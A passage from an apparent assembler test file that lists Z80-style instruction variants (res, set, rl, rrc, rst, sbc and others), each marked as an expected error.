2, (iy+127), b ; Error res 2, (iy+127), c ; Error res 2, (iy+127), d ; Error res 2, (iy+127), e ; Error res 2, (iy+127), h ; Error res 2, (iy+127), l ; Error res 2, (iy-128) ; Error res 2, (iy-128), a ; Error res 2, (iy-128), b ; Error res 2, (iy-128), c ; Error res 2, (iy-128), d ; Error res 2, (iy-128), e ; Error res 2, (iy-128), h ; Error res 2, (iy-128), l ; Error res 2, a' ; Error res 2, b' ; Error res 2, c' ; Error res 2, d' ; Error res 2, e' ; Error res 2, h' ; Error res 2, l' ; Error res 3, (ix) ; Error res 3, (ix), a ; Error res 3, (ix), b ; Error res 3, (ix), c ; Error res 3, (ix), d ; Error res 3, (ix), e ; Error res 3, (ix), h ; Error res 3, (ix), l ; Error res 3, (ix+127) ; Error res 3, (ix+127), a ; Error res 3, (ix+127), b ; Error res 3, (ix+127), c ; Error res 3, (ix+127), d ; Error res 3, (ix+127), e ; Error res 3, (ix+127), h ; Error res 3, (ix+127), l ; Error res 3, (ix-128) ; Error res 3, (ix-128), a ; Error res 3, (ix-128), b ; Error res 3, (ix-128), c ; Error res 3, (ix-128), d ; Error res 3, (ix-128), e ; Error res 3, (ix-128), h ; Error res 3, (ix-128), l ; Error res 3, (iy) ; Error res 3, (iy), a ; Error res 3, (iy), b ; Error res 3, (iy), c ; Error res 3, (iy), d ; Error res 3, (iy), e ; Error res 3, (iy), h ; Error res 3, (iy), l ; Error res 3, (iy+127) ; Error res 3, (iy+127), a ; Error res 3, (iy+127), b ; Error res 3, (iy+127), c ; Error res 3, (iy+127), d ; Error res 3, (iy+127), e ; Error res 3, (iy+127), h ; Error res 3, (iy+127), l ; Error res 3, (iy-128) ; Error res 3, (iy-128), a ; Error res 3, (iy-128), b ; Error res 3, (iy-128), c ; Error res 3, (iy-128), d ; Error res 3, (iy-128), e ; Error res 3, (iy-128), h ; Error res 3, (iy-128), l ; Error res 3, a' ; Error res 3, b' ; Error res 3, c' ; Error res 3, d' ; Error res 3, e' ; Error res 3, h' ; Error res 3, l' ; Error res 4, (ix) ; Error res 4, (ix), a ; Error res 4, (ix), b ; Error res 4, (ix), c ; Error res 4, (ix), d ; Error res 4, (ix), e ; Error res 4, (ix), h ; Error res 4, (ix), l ; Error res 4, (ix+127) ; Error res 4, (ix+127), a ; Error res 4, (ix+127), b ; Error res 4, (ix+127), c ; Error res 4, (ix+127), d ; Error res 4, (ix+127), e ; Error res 4, (ix+127), h ; Error res 4, (ix+127), l ; Error res 4, (ix-128) ; Error res 4, (ix-128), a ; Error res 4, (ix-128), b ; Error res 4, (ix-128), c ; Error res 4, (ix-128), d ; Error res 4, (ix-128), e ; Error res 4, (ix-128), h ; Error res 4, (ix-128), l ; Error res 4, (iy) ; Error res 4, (iy), a ; Error res 4, (iy), b ; Error res 4, (iy), c ; Error res 4, (iy), d ; Error res 4, (iy), e ; Error res 4, (iy), h ; Error res 4, (iy), l ; Error res 4, (iy+127) ; Error res 4, (iy+127), a ; Error res 4, (iy+127), b ; Error res 4, (iy+127), c ; Error res 4, (iy+127), d ; Error res 4, (iy+127), e ; Error res 4, (iy+127), h ; Error res 4, (iy+127), l ; Error res 4, (iy-128) ; Error res 4, (iy-128), a ; Error res 4, (iy-128), b ; Error res 4, (iy-128), c ; Error res 4, (iy-128), d ; Error res 4, (iy-128), e ; Error res 4, (iy-128), h ; Error res 4, (iy-128), l ; Error res 4, a' ; Error res 4, b' ; Error res 4, c' ; Error res 4, d' ; Error res 4, e' ; Error res 4, h' ; Error res 4, l' ; Error res 5, (ix) ; Error res 5, (ix), a ; Error res 5, (ix), b ; Error res 5, (ix), c ; Error res 5, (ix), d ; Error res 5, (ix), e ; Error res 5, (ix), h ; Error res 5, (ix), l ; Error res 5, (ix+127) ; Error res 5, (ix+127), a ; Error res 5, (ix+127), b ; Error res 5, (ix+127), c ; Error res 5, (ix+127), d ; Error res 5, (ix+127), e ; Error res 5, (ix+127), h ; Error res 5, (ix+127), l ; Error res 5, (ix-128) ; Error res 5, (ix-128), a ; Error res 5, (ix-128), b ; Error res 5, (ix-128), c ; Error res 5, (ix-128), d ; Error res 5, (ix-128), e ; Error res 5, (ix-128), h ; Error res 5, (ix-128), l ; Error res 5, (iy) ; Error res 5, (iy), a ; Error res 5, (iy), b ; Error res 5, (iy), c ; Error res 5, (iy), d ; Error res 5, (iy), e ; Error res 5, (iy), h ; Error res 5, (iy), l ; Error res 5, (iy+127) ; Error res 5, (iy+127), a ; Error res 5, (iy+127), b ; Error res 5, (iy+127), c ; Error res 5, (iy+127), d ; Error res 5, (iy+127), e ; Error res 5, (iy+127), h ; Error res 5, (iy+127), l ; Error res 5, (iy-128) ; Error res 5, (iy-128), a ; Error res 5, (iy-128), b ; Error res 5, (iy-128), c ; Error res 5, (iy-128), d ; Error res 5, (iy-128), e ; Error res 5, (iy-128), h ; Error res 5, (iy-128), l ; Error res 5, a' ; Error res 5, b' ; Error res 5, c' ; Error res 5, d' ; Error res 5, e' ; Error res 5, h' ; Error res 5, l' ; Error res 6, (ix) ; Error res 6, (ix), a ; Error res 6, (ix), b ; Error res 6, (ix), c ; Error res 6, (ix), d ; Error res 6, (ix), e ; Error res 6, (ix), h ; Error res 6, (ix), l ; Error res 6, (ix+127) ; Error res 6, (ix+127), a ; Error res 6, (ix+127), b ; Error res 6, (ix+127), c ; Error res 6, (ix+127), d ; Error res 6, (ix+127), e ; Error res 6, (ix+127), h ; Error res 6, (ix+127), l ; Error res 6, (ix-128) ; Error res 6, (ix-128), a ; Error res 6, (ix-128), b ; Error res 6, (ix-128), c ; Error res 6, (ix-128), d ; Error res 6, (ix-128), e ; Error res 6, (ix-128), h ; Error res 6, (ix-128), l ; Error res 6, (iy) ; Error res 6, (iy), a ; Error res 6, (iy), b ; Error res 6, (iy), c ; Error res 6, (iy), d ; Error res 6, (iy), e ; Error res 6, (iy), h ; Error res 6, (iy), l ; Error res 6, (iy+127) ; Error res 6, (iy+127), a ; Error res 6, (iy+127), b ; Error res 6, (iy+127), c ; Error res 6, (iy+127), d ; Error res 6, (iy+127), e ; Error res 6, (iy+127), h ; Error res 6, (iy+127), l ; Error res 6, (iy-128) ; Error res 6, (iy-128), a ; Error res 6, (iy-128), b ; Error res 6, (iy-128), c ; Error res 6, (iy-128), d ; Error res 6, (iy-128), e ; Error res 6, (iy-128), h ; Error res 6, (iy-128), l ; Error res 6, a' ; Error res 6, b' ; Error res 6, c' ; Error res 6, d' ; Error res 6, e' ; Error res 6, h' ; Error res 6, l' ; Error res 7, (ix) ; Error res 7, (ix), a ; Error res 7, (ix), b ; Error res 7, (ix), c ; Error res 7, (ix), d ; Error res 7, (ix), e ; Error res 7, (ix), h ; Error res 7, (ix), l ; Error res 7, (ix+127) ; Error res 7, (ix+127), a ; Error res 7, (ix+127), b ; Error res 7, (ix+127), c ; Error res 7, (ix+127), d ; Error res 7, (ix+127), e ; Error res 7, (ix+127), h ; Error res 7, (ix+127), l ; Error res 7, (ix-128) ; Error res 7, (ix-128), a ; Error res 7, (ix-128), b ; Error res 7, (ix-128), c ; Error res 7, (ix-128), d ; Error res 7, (ix-128), e ; Error res 7, (ix-128), h ; Error res 7, (ix-128), l ; Error res 7, (iy) ; Error res 7, (iy), a ; Error res 7, (iy), b ; Error res 7, (iy), c ; Error res 7, (iy), d ; Error res 7, (iy), e ; Error res 7, (iy), h ; Error res 7, (iy), l ; Error res 7, (iy+127) ; Error res 7, (iy+127), a ; Error res 7, (iy+127), b ; Error res 7, (iy+127), c ; Error res 7, (iy+127), d ; Error res 7, (iy+127), e ; Error res 7, (iy+127), h ; Error res 7, (iy+127), l ; Error res 7, (iy-128) ; Error res 7, (iy-128), a ; Error res 7, (iy-128), b ; Error res 7, (iy-128), c ; Error res 7, (iy-128), d ; Error res 7, (iy-128), e ; Error res 7, (iy-128), h ; Error res 7, (iy-128), l ; Error res 7, a' ; Error res 7, b' ; Error res 7, c' ; Error res 7, d' ; Error res 7, e' ; Error res 7, h' ; Error res 7, l' ; Error res 8, (hl) ; Error res 8, (hl) ; Error res 8, (ix) ; Error res 8, (ix) ; Error res 8, (ix), a ; Error res 8, (ix), a ; Error res 8, (ix), b ; Error res 8, (ix), b ; Error res 8, (ix), c ; Error res 8, (ix), c ; Error res 8, (ix), d ; Error res 8, (ix), d ; Error res 8, (ix), e ; Error res 8, (ix), e ; Error res 8, (ix), h ; Error res 8, (ix), h ; Error res 8, (ix), l ; Error res 8, (ix), l ; Error res 8, (ix+127) ; Error res 8, (ix+127) ; Error res 8, (ix+127), a ; Error res 8, (ix+127), a ; Error res 8, (ix+127), b ; Error res 8, (ix+127), b ; Error res 8, (ix+127), c ; Error res 8, (ix+127), c ; Error res 8, (ix+127), d ; Error res 8, (ix+127), d ; Error res 8, (ix+127), e ; Error res 8, (ix+127), e ; Error res 8, (ix+127), h ; Error res 8, (ix+127), h ; Error res 8, (ix+127), l ; Error res 8, (ix+127), l ; Error res 8, (ix-128) ; Error res 8, (ix-128) ; Error res 8, (ix-128), a ; Error res 8, (ix-128), a ; Error res 8, (ix-128), b ; Error res 8, (ix-128), b ; Error res 8, (ix-128), c ; Error res 8, (ix-128), c ; Error res 8, (ix-128), d ; Error res 8, (ix-128), d ; Error res 8, (ix-128), e ; Error res 8, (ix-128), e ; Error res 8, (ix-128), h ; Error res 8, (ix-128), h ; Error res 8, (ix-128), l ; Error res 8, (ix-128), l ; Error res 8, (iy) ; Error res 8, (iy) ; Error res 8, (iy), a ; Error res 8, (iy), a ; Error res 8, (iy), b ; Error res 8, (iy), b ; Error res 8, (iy), c ; Error res 8, (iy), c ; Error res 8, (iy), d ; Error res 8, (iy), d ; Error res 8, (iy), e ; Error res 8, (iy), e ; Error res 8, (iy), h ; Error res 8, (iy), h ; Error res 8, (iy), l ; Error res 8, (iy), l ; Error res 8, (iy+127) ; Error res 8, (iy+127) ; Error res 8, (iy+127), a ; Error res 8, (iy+127), a ; Error res 8, (iy+127), b ; Error res 8, (iy+127), b ; Error res 8, (iy+127), c ; Error res 8, (iy+127), c ; Error res 8, (iy+127), d ; Error res 8, (iy+127), d ; Error res 8, (iy+127), e ; Error res 8, (iy+127), e ; Error res 8, (iy+127), h ; Error res 8, (iy+127), h ; Error res 8, (iy+127), l ; Error res 8, (iy+127), l ; Error res 8, (iy-128) ; Error res 8, (iy-128) ; Error res 8, (iy-128), a ; Error res 8, (iy-128), a ; Error res 8, (iy-128), b ; Error res 8, (iy-128), b ; Error res 8, (iy-128), c ; Error res 8, (iy-128), c ; Error res 8, (iy-128), d ; Error res 8, (iy-128), d ; Error res 8, (iy-128), e ; Error res 8, (iy-128), e ; Error res 8, (iy-128), h ; Error res 8, (iy-128), h ; Error res 8, (iy-128), l ; Error res 8, (iy-128), l ; Error res 8, a ; Error res 8, a ; Error res 8, a' ; Error res 8, a' ; Error res 8, b ; Error res 8, b ; Error res 8, b' ; Error res 8, b' ; Error res 8, c ; Error res 8, c ; Error res 8, c' ; Error res 8, c' ; Error res 8, d ; Error res 8, d ; Error res 8, d' ; Error res 8, d' ; Error res 8, e ; Error res 8, e ; Error res 8, e' ; Error res 8, e' ; Error res 8, h ; Error res 8, h ; Error res 8, h' ; Error res 8, h' ; Error res 8, l ; Error res 8, l ; Error res 8, l' ; Error res 8, l' ; Error res.a -1, (hl) ; Error res.a -1, (hl) ; Error res.a -1, (ix) ; Error res.a -1, (ix) ; Error res.a -1, (ix+127) ; Error res.a -1, (ix+127) ; Error res.a -1, (ix-128) ; Error res.a -1, (ix-128) ; Error res.a -1, (iy) ; Error res.a -1, (iy) ; Error res.a -1, (iy+127) ; Error res.a -1, (iy+127) ; Error res.a -1, (iy-128) ; Error res.a -1, (iy-128) ; Error res.a -1, a ; Error res.a -1, a ; Error res.a -1, b ; Error res.a -1, b ; Error res.a -1, c ; Error res.a -1, c ; Error res.a -1, d ; Error res.a -1, d ; Error res.a -1, e ; Error res.a -1, e ; Error res.a -1, h ; Error res.a -1, h ; Error res.a -1, l ; Error res.a -1, l ; Error res.a 0, (ix) ; Error res.a 0, (ix+127) ; Error res.a 0, (ix-128) ; Error res.a 0, (iy) ; Error res.a 0, (iy+127) ; Error res.a 0, (iy-128) ; Error res.a 1, (ix) ; Error res.a 1, (ix+127) ; Error res.a 1, (ix-128) ; Error res.a 1, (iy) ; Error res.a 1, (iy+127) ; Error res.a 1, (iy-128) ; Error res.a 2, (ix) ; Error res.a 2, (ix+127) ; Error res.a 2, (ix-128) ; Error res.a 2, (iy) ; Error res.a 2, (iy+127) ; Error res.a 2, (iy-128) ; Error res.a 3, (ix) ; Error res.a 3, (ix+127) ; Error res.a 3, (ix-128) ; Error res.a 3, (iy) ; Error res.a 3, (iy+127) ; Error res.a 3, (iy-128) ; Error res.a 4, (ix) ; Error res.a 4, (ix+127) ; Error res.a 4, (ix-128) ; Error res.a 4, (iy) ; Error res.a 4, (iy+127) ; Error res.a 4, (iy-128) ; Error res.a 5, (ix) ; Error res.a 5, (ix+127) ; Error res.a 5, (ix-128) ; Error res.a 5, (iy) ; Error res.a 5, (iy+127) ; Error res.a 5, (iy-128) ; Error res.a 6, (ix) ; Error res.a 6, (ix+127) ; Error res.a 6, (ix-128) ; Error res.a 6, (iy) ; Error res.a 6, (iy+127) ; Error res.a 6, (iy-128) ; Error res.a 7, (ix) ; Error res.a 7, (ix+127) ; Error res.a 7, (ix-128) ; Error res.a 7, (iy) ; Error res.a 7, (iy+127) ; Error res.a 7, (iy-128) ; Error res.a 8, (hl) ; Error res.a 8, (hl) ; Error res.a 8, (ix) ; Error res.a 8, (ix) ; Error res.a 8, (ix+127) ; Error res.a 8, (ix+127) ; Error res.a 8, (ix-128) ; Error res.a 8, (ix-128) ; Error res.a 8, (iy) ; Error res.a 8, (iy) ; Error res.a 8, (iy+127) ; Error res.a 8, (iy+127) ; Error res.a 8, (iy-128) ; Error res.a 8, (iy-128) ; Error res.a 8, a ; Error res.a 8, a ; Error res.a 8, b ; Error res.a 8, b ; Error res.a 8, c ; Error res.a 8, c ; Error res.a 8, d ; Error res.a 8, d ; Error res.a 8, e ; Error res.a 8, e ; Error res.a 8, h ; Error res.a 8, h ; Error res.a 8, l ; Error res.a 8, l ; Error ret lo ; Error ret lz ; Error ret m ; Error ret nv ; Error ret p ; Error ret pe ; Error ret po ; Error ret v ; Error retn ; Error rim ; Error rl (ix) ; Error rl (ix), a ; Error rl (ix), b ; Error rl (ix), c ; Error rl (ix), d ; Error rl (ix), e ; Error rl (ix), h ; Error rl (ix), l ; Error rl (ix+127) ; Error rl (ix+127), a ; Error rl (ix+127), b ; Error rl (ix+127), c ; Error rl (ix+127), d ; Error rl (ix+127), e ; Error rl (ix+127), h ; Error rl (ix+127), l ; Error rl (ix-128) ; Error rl (ix-128), a ; Error rl (ix-128), b ; Error rl (ix-128), c ; Error rl (ix-128), d ; Error rl (ix-128), e ; Error rl (ix-128), h ; Error rl (ix-128), l ; Error rl (iy) ; Error rl (iy), a ; Error rl (iy), b ; Error rl (iy), c ; Error rl (iy), d ; Error rl (iy), e ; Error rl (iy), h ; Error rl (iy), l ; Error rl (iy+127) ; Error rl (iy+127), a ; Error rl (iy+127), b ; Error rl (iy+127), c ; Error rl (iy+127), d ; Error rl (iy+127), e ; Error rl (iy+127), h ; Error rl (iy+127), l ; Error rl (iy-128) ; Error rl (iy-128), a ; Error rl (iy-128), b ; Error rl (iy-128), c ; Error rl (iy-128), d ; Error rl (iy-128), e ; Error rl (iy-128), h ; Error rl (iy-128), l ; Error rl a' ; Error rl b' ; Error rl c' ; Error rl d' ; Error rl de' ; Error rl e' ; Error rl h' ; Error rl l' ; Error rla' ; Error rlc (ix) ; Error rlc (ix), a ; Error rlc (ix), b ; Error rlc (ix), c ; Error rlc (ix), d ; Error rlc (ix), e ; Error rlc (ix), h ; Error rlc (ix), l ; Error rlc (ix+127) ; Error rlc (ix+127), a ; Error rlc (ix+127), b ; Error rlc (ix+127), c ; Error rlc (ix+127), d ; Error rlc (ix+127), e ; Error rlc (ix+127), h ; Error rlc (ix+127), l ; Error rlc (ix-128) ; Error rlc (ix-128), a ; Error rlc (ix-128), b ; Error rlc (ix-128), c ; Error rlc (ix-128), d ; Error rlc (ix-128), e ; Error rlc (ix-128), h ; Error rlc (ix-128), l ; Error rlc (iy) ; Error rlc (iy), a ; Error rlc (iy), b ; Error rlc (iy), c ; Error rlc (iy), d ; Error rlc (iy), e ; Error rlc (iy), h ; Error rlc (iy), l ; Error rlc (iy+127) ; Error rlc (iy+127), a ; Error rlc (iy+127), b ; Error rlc (iy+127), c ; Error rlc (iy+127), d ; Error rlc (iy+127), e ; Error rlc (iy+127), h ; Error rlc (iy+127), l ; Error rlc (iy-128) ; Error rlc (iy-128), a ; Error rlc (iy-128), b ; Error rlc (iy-128), c ; Error rlc (iy-128), d ; Error rlc (iy-128), e ; Error rlc (iy-128), h ; Error rlc (iy-128), l ; Error rlc a' ; Error rlc b' ; Error rlc c' ; Error rlc d' ; Error rlc e' ; Error rlc h' ; Error rlc l' ; Error rlca' ; Error rlo ; Error rlz ; Error rm ; Error rnv ; Error rp ; Error rpe ; Error rpo ; Error rr (ix) ; Error rr (ix), a ; Error rr (ix), b ; Error rr (ix), c ; Error rr (ix), d ; Error rr (ix), e ; Error rr (ix), h ; Error rr (ix), l ; Error rr (ix+127) ; Error rr (ix+127), a ; Error rr (ix+127), b ; Error rr (ix+127), c ; Error rr (ix+127), d ; Error rr (ix+127), e ; Error rr (ix+127), h ; Error rr (ix+127), l ; Error rr (ix-128) ; Error rr (ix-128), a ; Error rr (ix-128), b ; Error rr (ix-128), c ; Error rr (ix-128), d ; Error rr (ix-128), e ; Error rr (ix-128), h ; Error rr (ix-128), l ; Error rr (iy) ; Error rr (iy), a ; Error rr (iy), b ; Error rr (iy), c ; Error rr (iy), d ; Error rr (iy), e ; Error rr (iy), h ; Error rr (iy), l ; Error rr (iy+127) ; Error rr (iy+127), a ; Error rr (iy+127), b ; Error rr (iy+127), c ; Error rr (iy+127), d ; Error rr (iy+127), e ; Error rr (iy+127), h ; Error rr (iy+127), l ; Error rr (iy-128) ; Error rr (iy-128), a ; Error rr (iy-128), b ; Error rr (iy-128), c ; Error rr (iy-128), d ; Error rr (iy-128), e ; Error rr (iy-128), h ; Error rr (iy-128), l ; Error rr a' ; Error rr b' ; Error rr c' ; Error rr d' ; Error rr de' ; Error rr e' ; Error rr h' ; Error rr hl' ; Error rr ix ; Error rr iy ; Error rr l' ; Error rra' ; Error rrc (ix) ; Error rrc (ix), a ; Error rrc (ix), b ; Error rrc (ix), c ; Error rrc (ix), d ; Error rrc (ix), e ; Error rrc (ix), h ; Error rrc (ix), l ; Error rrc (ix+127) ; Error rrc (ix+127), a ; Error rrc (ix+127), b ; Error rrc (ix+127), c ; Error rrc (ix+127), d ; Error rrc (ix+127), e ; Error rrc (ix+127), h ; Error rrc (ix+127), l ; Error rrc (ix-128) ; Error rrc (ix-128), a ; Error rrc (ix-128), b ; Error rrc (ix-128), c ; Error rrc (ix-128), d ; Error rrc (ix-128), e ; Error rrc (ix-128), h ; Error rrc (ix-128), l ; Error rrc (iy) ; Error rrc (iy), a ; Error rrc (iy), b ; Error rrc (iy), c ; Error rrc (iy), d ; Error rrc (iy), e ; Error rrc (iy), h ; Error rrc (iy), l ; Error rrc (iy+127) ; Error rrc (iy+127), a ; Error rrc (iy+127), b ; Error rrc (iy+127), c ; Error rrc (iy+127), d ; Error rrc (iy+127), e ; Error rrc (iy+127), h ; Error rrc (iy+127), l ; Error rrc (iy-128) ; Error rrc (iy-128), a ; Error rrc (iy-128), b ; Error rrc (iy-128), c ; Error rrc (iy-128), d ; Error rrc (iy-128), e ; Error rrc (iy-128), h ; Error rrc (iy-128), l ; Error rrc a' ; Error rrc b' ; Error rrc c' ; Error rrc d' ; Error rrc e' ; Error rrc h' ; Error rrc l' ; Error rrca' ; Error rst -1 ; Error rst -1 ; Error rst 10 ; Error rst 10 ; Error rst 11 ; Error rst 11 ; Error rst 12 ; Error rst 12 ; Error rst 13 ; Error rst 13 ; Error rst 14 ; Error rst 14 ; Error rst 15 ; Error rst 15 ; Error rst 17 ; Error rst 17 ; Error rst 18 ; Error rst 18 ; Error rst 19 ; Error rst 19 ; Error rst 20 ; Error rst 20 ; Error rst 21 ; Error rst 21 ; Error rst 22 ; Error rst 22 ; Error rst 23 ; Error rst 23 ; Error rst 25 ; Error rst 25 ; Error rst 26 ; Error rst 26 ; Error rst 27 ; Error rst 27 ; Error rst 28 ; Error rst 28 ; Error rst 29 ; Error rst 29 ; Error rst 30 ; Error rst 30 ; Error rst 31 ; Error rst 31 ; Error rst 33 ; Error rst 33 ; Error rst 34 ; Error rst 34 ; Error rst 35 ; Error rst 35 ; Error rst 36 ; Error rst 36 ; Error rst 37 ; Error rst 37 ; Error rst 38 ; Error rst 38 ; Error rst 39 ; Error rst 39 ; Error rst 41 ; Error rst 41 ; Error rst 42 ; Error rst 42 ; Error rst 43 ; Error rst 43 ; Error rst 44 ; Error rst 44 ; Error rst 45 ; Error rst 45 ; Error rst 46 ; Error rst 46 ; Error rst 47 ; Error rst 47 ; Error rst 49 ; Error rst 49 ; Error rst 50 ; Error rst 50 ; Error rst 51 ; Error rst 51 ; Error rst 52 ; Error rst 52 ; Error rst 53 ; Error rst 53 ; Error rst 54 ; Error rst 54 ; Error rst 55 ; Error rst 55 ; Error rst 57 ; Error rst 57 ; Error rst 58 ; Error rst 58 ; Error rst 59 ; Error rst 59 ; Error rst 60 ; Error rst 60 ; Error rst 61 ; Error rst 61 ; Error rst 62 ; Error rst 62 ; Error rst 63 ; Error rst 63 ; Error rst 64 ; Error rst 64 ; Error rst 9 ; Error rst 9 ; Error rstv ; Error rv ; Error sbc (ix) ; Error sbc (ix+127) ; Error sbc (ix-128) ; Error sbc (iy) ; Error sbc (iy+127) ; Error sbc (iy-128) ; Error sbc a', (hl) ; Error sbc a', (ix) ; Error sbc a', (ix+127) ; Error sbc a', (ix-128) ; Error sbc a', (iy) ; Error sbc a', (iy+127) ; Error sbc a', (iy-128) ; Error sbc a', -128 ; Error sbc a', 127 ; Error sbc a', 255 ; Error sbc a', a ; Error sbc a', b ; Error sbc a', c ; Error sbc a', d ; Error sbc a', e ; Error sbc a', h ; Error sbc a', l ; Error sbc a, (ix) ; Error sbc a, (ix+127) ; Error sbc a, (ix-128) ; Error sbc a, (iy) ; Error sbc a, (iy+127) ; Error sbc a, (iy-128) ; Error sbc a, ixh ; Error sbc a, ixl ; Error sbc a, iyh ; Error sbc a, iyl ; Error sbc hl', bc ; Error sbc hl', de ; Error sbc hl', hl ; Error sbc hl', sp ; Error sbc ixh ; Error sbc ixl ; Error sbc iyh ; Error sbc iyl ; Error scf' ; Error set -1, (hl) ; Error set -1, (hl) ; Error set -1, (ix) ; Error set -1, (ix) ; Error set -1, (ix), a ; Error set -1, (ix), a ; Error set -1, (ix), b ; Error set -1, (ix), b ; Error set -1, (ix), c ; Error set -1, (ix), c ; Error set -1, (ix), d ; Error set -1, (ix), d ; Error set -1, (ix), e ; Error set -1, (ix), e ; Error set -1, (ix), h ; Error set -1, (ix), h ; Error set -1, (ix), l ; Error set -1, (ix), l ; Error set -1, (ix+127) ; Error set -1, (ix+127) ; Error set -1, (ix+127), a ; Error set -1, (ix+127), a ; Error set -1, (ix+127), b ; Error set -1, (ix+127), b ; Error set -1, (ix+127), c ; Error set -1, (ix+127), c ; Error set -1, (ix+127), d ; Error set -1, (ix+127), d ; Error set -1, (ix+127), e ; Error set -1, (ix+127), e ; Error set -1, (ix+127), h ; Error set -1, (ix+127), h ; Error set -1, (ix+127), l ; Error set -1, (ix+127), l ; Error set -1, (ix-128) ; Error set -1, (ix-128) ; Error set -1, (ix-128), a ; Error set -1, (ix-128), a ; Error set -1, (ix-128), b ; Error set -1, (ix-128), b ; Error set -1, (ix-128), c ; Error set -1, (ix-128), c ; Error set -1, (ix-128), d ; Error set -1, (ix-128), d ; Error set -1, (ix-128), e ; Error set -1, (ix-128), e ; Error set -1, (ix-128), h ; Error set -1, (ix-128), h ; Error set -1, (ix-128), l ; Error set -1, (ix-128), l ; Error set -1, (iy) ; Error set -1, (iy) ; Error set -1, (iy), a ; Error set -1, (iy), a ; Error set -1, (iy), b ; Error set -1, (iy), b ; Error set -1, (iy), c ; Error set -1, (iy), c ; Error set -1, (iy), d ; Error set -1, (iy), d ; Error set -1, (iy), e ; Error set -1, (iy), e ; Error set -1, (iy), h ; Error set -1, (iy), h ; Error set -1, (iy), l ; Error set -1, (iy), l ; Error set -1, (iy+127) ; Error set -1, (iy+127) ; Error set -1, (iy+127), a ; Error set -1, (iy+127), a ; Error set -1, (iy+127), b ; Error set -1, (iy+127), b ; Error set -1, (iy+127), c ; Error set -1, (iy+127), c ; Error set -1, (iy+127), d ; Error set -1, (iy+127), d ; Error set -1, (iy+127), e ; Error set -1, (iy+127), e ; Error set -1, (iy+127), h ; Error set -1, (iy+127), h ; Error set -1, (iy+127), l ; Error set -1, (iy+127), l ; Error set -1, (iy-128) ; Error set -1, (iy-128) ; Error set -1, (iy-128), a ; Error set -1, (iy-128), a ; Error set -1, (iy-128), b ; Error set -1, (iy-128), b ; Error set -1, (iy-128), c ; Error set -1, (iy-128), c ; Error set -1, (iy-128), d ; Error set -1, (iy-128), d ; Error set -1, (iy-128), e ; Error set -1, (iy-128), e ; Error set -1, (iy-128), h ; Error set -1, (iy-128), h ; Error set -1, (iy-128), l ; Error set -1, (iy-128), l ; Error set -1, a ; Error set -1, a ; Error set -1, a' ; Error set -1, a' ; Error set -1, b ; Error set -1, b ; Error set -1, b' ; Error set -1, b' ; Error set -1, c ; Error set -1, c ; Error set -1, c' ; Error set -1, c' ; Error set -1, d ; Error set -1, d ; Error set -1, d' ; Error set -1, d' ; Error set -1, e ; Error set -1, e ; Error set -1, e' ; Error set -1, e' ; Error set -1, h ; Error set -1, h ; Error set -1, h' ; Error set -1, h' ; Error set -1, l ; Error set -1, l ; Error set -1, l' ; Error set -1, l' ; Error set 0, (ix) ; Error set 0, (ix), a ; Error set 0, (ix), b ; Error set 0, (ix), c ; Error set 0, (ix), d ; Error set 0, (ix), e ; Error set 0, (ix), h ; Error set 0, (ix), l ; Error set 0, (ix+127) ; Error set 0, (ix+127), a ; Error set 0, (ix+127), b ; Error set 0, (ix+127), c ; Error set 0, (ix+127), d ; Error set 0, (ix+127), e ; Error set 0, (ix+127), h ; Error set 0, (ix+127), l ; Error set 0, (ix-128) ; Error set 0, (ix-128), a ; Error set 0, (ix-128), b ; Error set 0, (ix-128), c ; Error set 0, (ix-128), d ; Error set 0, (ix-128), e ; Error set 0, (ix-128), h ; Error set 0, (ix-128), l ; Error set 0, (iy) ; Error set 0, (iy), a ; Error set 0, (iy), b ; Error set 0, (iy), c ; Error set 0, (iy), d ; Error set 0, (iy), e ; Error set 0, (iy), h ; Error set 0, (iy), l ; Error set 0, (iy+127) ; Error set 0, (iy+127), a ; Error set 0, (iy+127), b ; Error set 0, (iy+127), c ; Error set 0, (iy+127), d ; Error set 0, (iy+127), e ; Error set 0, (iy+127), h ; Error set 0, (iy+127), l ; Error set 0, (iy-128) ; Error set 0, (iy-128), a ; Error set 0, (iy-128), b ; Error set 0, (iy-128), c ; Error set 0, (iy-128), d ; Error set 0, (iy-128), e ; Error set 0, (iy-128), h ; Error set 0, (iy-128), l ; Error set 0, a' ; Error set 0, b' ; Error set 0, c' ; Error set 0, d' ; Error set 0, e' ; Error set 0, h' ; Error set 0, l' ; Error set 1, (ix) ; Error set 1, (ix), a ; Error set 1, (ix), b ; Error set 1, (ix), c ; Error set 1, (ix), d ; Error set 1, (ix), e ; Error set 1, (ix), h ; Error set 1, (ix), l ; Error set 1, (ix+127) ; Error set 1, (ix+127), a ; Error set 1, (ix+127), b ; Error set 1, (ix+127), c ; Error set 1, (ix+127), d ; Error set 1, (ix+127), e ; Error set 1, (ix+127), h ; Error set 1, (ix+127), l ; Error set 1, (ix-128) ; Error set 1, (ix-128), a ; Error set 1, (ix-128), b ; Error set 1, (ix-128), c ; Error set 1, (ix-128), d ; Error set 1, (ix-128), e ; Error set 1, (ix-128), h ; Error set 1, (ix-128), l ; Error set 1, (iy) ; Error set 1, (iy), a ; Error set 1, (iy), b ; Error set 1, (iy), c ; Error set 1, (iy), d ; Error set 1, (iy), e ; Error set 1, (iy), h ; Error set 1, (iy), l ; Error set 1, (iy+127) ; Error set 1, (iy+127), a ; Error set 1, (iy+127), b ; Error set 1, (iy+127), c ; Error set 1, (iy+127), d ; Error set 1, (iy+127), e ; Error set 1, (iy+127), h ; Error set 1, (iy+127), l ; Error set 1, (iy-128) ; Error set 1, (iy-128), a ; Error set 1, (iy-128), b ; Error set 1, (iy-128), c ; Error set 1, (iy-128), d ; Error set 1, (iy-128), e ; Error set 1, (iy-128), h ; Error set 1, (iy-128), l ; Error set 1, a' ; Error set 1, b' ; Error set 1, c' ; Error set 1, d' ; Error set 1, e' ; Error set 1, h' ; Error set 1, l' ; Error set 2, (ix) ; Error set 2, (ix), a ; Error set 2, (ix), b ; Error set 2, (ix), c ; Error set 2, (ix), d ; Error set 2, (ix), e ; Error set 2, (ix), h ; Error set 2, (ix), l ; Error set 2, (ix+127) ; Error set 2, (ix+127), a ; Error set 2, (ix+127), b ; Error set 2, (ix+127), c ; Error set 2, (ix+127), d ; Error set 2, (ix+127), e ; Error set 2, (ix+127), h ; Error set 2, (ix+127), l ; Error set 2, (ix-128) ; Error set 2, (ix-128), a ; Error set 2, (ix-128), b ; Error set 2, (ix-128), c ; Error set 2, (ix-128), d ; Error set 2, (ix-128), e ; Error set 2, (ix-128), h ; Error set 2, (ix-128), l ; Error set 2, (iy) ; Error set 2, (iy), a ; Error set 2, (iy), b 